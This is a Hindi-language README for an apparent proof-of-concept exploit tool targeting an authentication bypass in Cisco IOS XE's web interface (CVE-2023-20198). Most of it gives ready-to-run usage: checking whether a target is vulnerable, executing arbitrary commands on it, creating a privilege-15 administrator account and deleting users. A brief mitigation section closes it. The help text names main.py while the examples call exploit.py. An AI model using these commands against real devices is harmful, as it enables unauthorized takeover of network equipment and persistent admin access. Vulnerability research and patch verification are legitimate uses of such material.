सिस्को IOS XE प्रमाणीकरण बाईपास (CVE-2023-20198)

यह रिपॉजिटरी CVE-2023-20198 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट रखता है, जो सिस्को IOS XE वेब UI को प्रभावित करने वाली एक प्रमाणीकरण बाईपास भेद्यता है।

यह भेद्यता अप्रमाणित हमलावरों को तैयार किए गए SOAP अनुरोधों के माध्यम से संवेदनशील सिस्को उपकरणों पर मनमाने कमांड निष्पादित करने की अनुमति देती है, जिससे पूर्ण उपकरण समझौता हो सकता है, जिसमें दूरस्थ कमांड निष्पादन और प्रशासनिक उपयोगकर्ताओं का निर्माण/हटाना शामिल है।

भेद्यता अवलोकन

• CVE: CVE-2023-20198

• प्रभावित उत्पाद: सिस्को IOS XE (वेब UI / WSMA इंटरफ़ेस)

• प्रभाव:

  • प्रमाणीकरण बाईपास
  • दूरस्थ कमांड निष्पादन (RCE)
  • अनधिकृत उपयोगकर्ता निर्माण
  • अनधिकृत उपयोगकर्ता हटाना

• हमला वेक्टर: नेटवर्क (HTTP/HTTPS)

• आवश्यक विशेषाधिकार: कोई नहीं (अप्रमाणित)

यह भेद्यता वेब सेवा प्रबंधन एजेंट (WSMA) एंडपॉइंट में अनुचित प्रमाणीकरण हैंडलिंग के कारण होती है, जो हमलावरों को तैयार किए गए HTTP अनुरोधों का उपयोग करके प्रमाणीकरण को बायपास करने की अनुमति देती है।

आवश्यकताएँ

• Python 3.x
• requests
• colorama

निर्भरताएँ स्थापित करें:

pip install -r requirements.txt

उपयोग

usage: main.py [-h] -t TARGET [-c] [-C CMD] [-a] [-d] [-u USERNAME] [-p PASSWORD]

Authentication Bypass Exploit for Cisco IOS XE Devices (CVE-2023-20198)

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target Cisco IOS XE Device
  -c, --check           Check if the Target is vulnerable to CVE-2023-20198
  -C CMD, --cmd CMD     Cisco IOS XE Command to Execute
  -a, --add             Add New Username and Password
  -d, --delete          Delete existing User
  -u USERNAME, --username USERNAME
                        Username for Account Creation
  -p PASSWORD, --password PASSWORD
                        Password for Account Creation (Random Password Generated if not Provided)

कमांड लाइन विकल्प

भेद्यता जाँच

जाँच करें कि क्या लक्ष्य संवेदनशील है:

python3 exploit.py -t https://<TARGET-IP> -c

यदि संवेदनशील है, तो उपकरण स्वचालित रूप से शोषण योग्य WSMA एंडपॉइंट का पता लगाएगा और उपकरण विवरण प्रदर्शित करेगा।

दूरस्थ कमांड निष्पादन

संवेदनशील उपकरण पर कमांड निष्पादित करें:

python3 exploit.py -t https://<TARGET-IP> -C "<COMMAND>"

उदाहरण:

python3 exploit.py -t https://<TARGET-IP> -C "show running | include username"

प्रशासनिक उपयोगकर्ता जोड़ें

एक नया विशेषाधिकार 15 प्रशासक उपयोगकर्ता बनाएँ:

python3 exploit.py -t https://<TARGET-IP> -a -u cisco -p kaptaan

यदि कोई पासवर्ड प्रदान नहीं किया गया है, तो स्क्रिप्ट स्वचालित रूप से एक यादृच्छिक सुरक्षित पासवर्ड उत्पन्न करती है।

वेब इंटरफ़ेस तक पहुँचना

नवनिर्मित खाते के साथ, आप उपकरण के वेब UI तक पहुँच सकते हैं

मौजूदा उपयोगकर्ता हटाएँ

मौजूदा उपयोगकर्ता हटाएँ:

python3 exploit.py -t https://<TARGET-IP> -d -u cisco

पहचान और शमन

• सिस्को IOS XE को नवीनतम पैच किए गए संस्करण में अपग्रेड करें

• यदि आवश्यक नहीं है तो वेब UI अक्षम करें:

  root@kitploit:~

  no ip http server
  no ip http secure-server
  

• ACLs के माध्यम से प्रबंधन पहुँच को प्रतिबंधित करें

संदर्भ

• सिस्को सलाह — CVE-2023-20198
• NVD: CVE-2023-20198
• सिस्को IOS XE WSMA दस्तावेज़ीकरण
• सुरक्षा अनुसंधान समुदाय रिपोर्ट